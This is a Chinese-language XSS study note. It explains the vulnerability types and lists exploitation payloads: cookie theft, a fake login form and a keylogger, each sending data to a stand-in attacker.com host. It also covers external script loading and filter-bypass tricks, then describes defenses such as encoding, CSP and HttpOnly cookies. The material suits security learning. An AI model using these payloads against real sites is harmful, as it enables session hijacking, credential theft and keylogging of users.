xss漏洞
XSS漏洞学习笔记
1. XSS漏洞基础
1.1 定义
跨站脚本攻击(Cross-Site Scripting,XSS)允许攻击者将恶意脚本注入到网页中,当其他用户访问时触发脚本执行,常用于窃取用户会话(Cookie)、钓鱼攻击、键盘记录等。
1.2 漏洞成因
-  未过滤用户输入:用户输入的数据被直接输出到页面。 
-  输出未编码:动态生成的页面未对特殊字符(如 <,>,&)进行转义。
2. XSS分类
2.1 反射型XSS(Reflected XSS)
-  特点:恶意脚本通过URL参数注入,受害者点击构造的链接触发。 
-  场景:搜索框、错误页面等直接返回用户输入的内容。 
-  示例: http://example.com/search?q=<script>alert(1)</script> 
2.2 存储型XSS(Stored XSS)
-  特点:恶意脚本存储到服务器(如数据库),页面每次加载时自动执行。 
-  场景:留言板、用户昵称、文章评论等持久化数据的位置。 
-  示例: html 用户留言:<script>stealCookie()</script> 运行 HTML 
2.3 DOM型XSS(DOM-based XSS)
-  特点:漏洞由前端JavaScript动态操作DOM引发,不依赖服务器响应。 
-  场景:通过 document.location、window.name等获取参数并输出到页面。
-  示例: javascript // 假设页面代码: document.write("<div>" + location.hash.slice(1) + "</div>"); // 攻击URL: http://example.com#<img src=x οnerrοr=alert(1)>
3. XSS利用方式
3.1 窃取Cookie
-  Payload: html <script>fetch('http://attacker.com/?cookie='+document.cookie)</script>运行 HTML 
3.2 钓鱼攻击
-  Payload: html <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white"> <h1>系统升级,请重新登录:</h1> <form action="http://attacker.com/steal" method="POST"> <input type="text" name="username"> <input type="password" name="password"> </form> </div> 运行 HTML 
3.3 键盘记录
-  Payload: javascript document.addEventListener('keypress', (e) => { fetch('http://attacker.com/log?key=' + e.key); });
3.4 绕过CSP(Content Security Policy)
-  利用外部域名:若CSP允许 unsafe-inline或特定域名,引入外部脚本:html <script src="http://attacker.com/malicious.js"></script> 运行 HTML 
-  JSONP劫持:利用网站开放的JSONP接口窃取数据。 
4. XSS绕过技巧
4.1 基础绕过
-  闭合标签: html "><script>alert(1)</script> 运行 HTML 
-  事件处理器: html <img src=x οnerrοr=alert(1)> <svg/οnlοad=alert(1)> 运行 HTML 
-  伪协议: html <a href="javascript:alert(1)">点击</a> 运行 HTML 
4.2 编码混淆
-  HTML实体编码: html <img src=x οnerrοr="alert(1)"> 运行 HTML 
-  Unicode编码: javascript <script>\u0061\u006c\u0065\u0072\u0074(1)</script> 
-  Base64编码(需配合 data:协议):html <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> 运行 HTML 
4.3 绕过WAF/过滤器
-  拆分关键字: javascript <scr<script>ipt>alert(1)</scr</script>ipt> 
-  利用JavaScript函数: javascript eval('al' + 'ert(1)'); String.fromCharCode(97,108,101,114,116,40,49,41); // alert(1)
-  利用HTML标签属性: html <input type="text" value="" autofocus οnfοcus=alert(1)> 运行 HTML 
4.4 高级绕过技巧
-  模板字符串注入(针对Node.js应用): javascript `${alert(1)}`
-  Shadow DOM: html <div><template shadowroot="open"><script>alert(1)</script></template></div> 运行 HTML 
-  Service Worker劫持: javascript navigator.serviceWorker.register('malicious-sw.js');
5. XSS防御方案
5.1 输入验证与过滤
-  白名单过滤:仅允许特定字符(如字母、数字)。 
-  黑名单过滤:删除或转义 <,>,&,",'等危险字符。
5.2 输出编码
-  HTML实体编码:将 <转为<,>转为>。
-  JavaScript编码:使用 \xHH或\uXXXX编码特殊字符。
5.3 安全HTTP头
-  Content Security Policy (CSP): Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; 
-  HttpOnly Cookie:防止JavaScript读取敏感Cookie。 
5.4 框架安全特性
-  React:自动转义JSX中的变量(除非使用 dangerouslySetInnerHTML)。
-  Vue: {{ data }}默认转义,v-html需谨慎使用。
6. 测试工具与资源
6.1 工具
-  Burp Suite:拦截和修改HTTP请求,测试XSS Payload。 
-  XSS Hunter:自动化检测XSS漏洞并收集数据。 
-  BeEF(Browser Exploitation Framework):浏览器攻击框架。 
6.2 靶场推荐
-  PortSwigger XSS Labs:系统化XSS练习环境。 
-  DVWA(Damn Vulnerable Web Application)。 
-  XSS Challenges(如printenv at xss-quiz.int21h.jp)。 
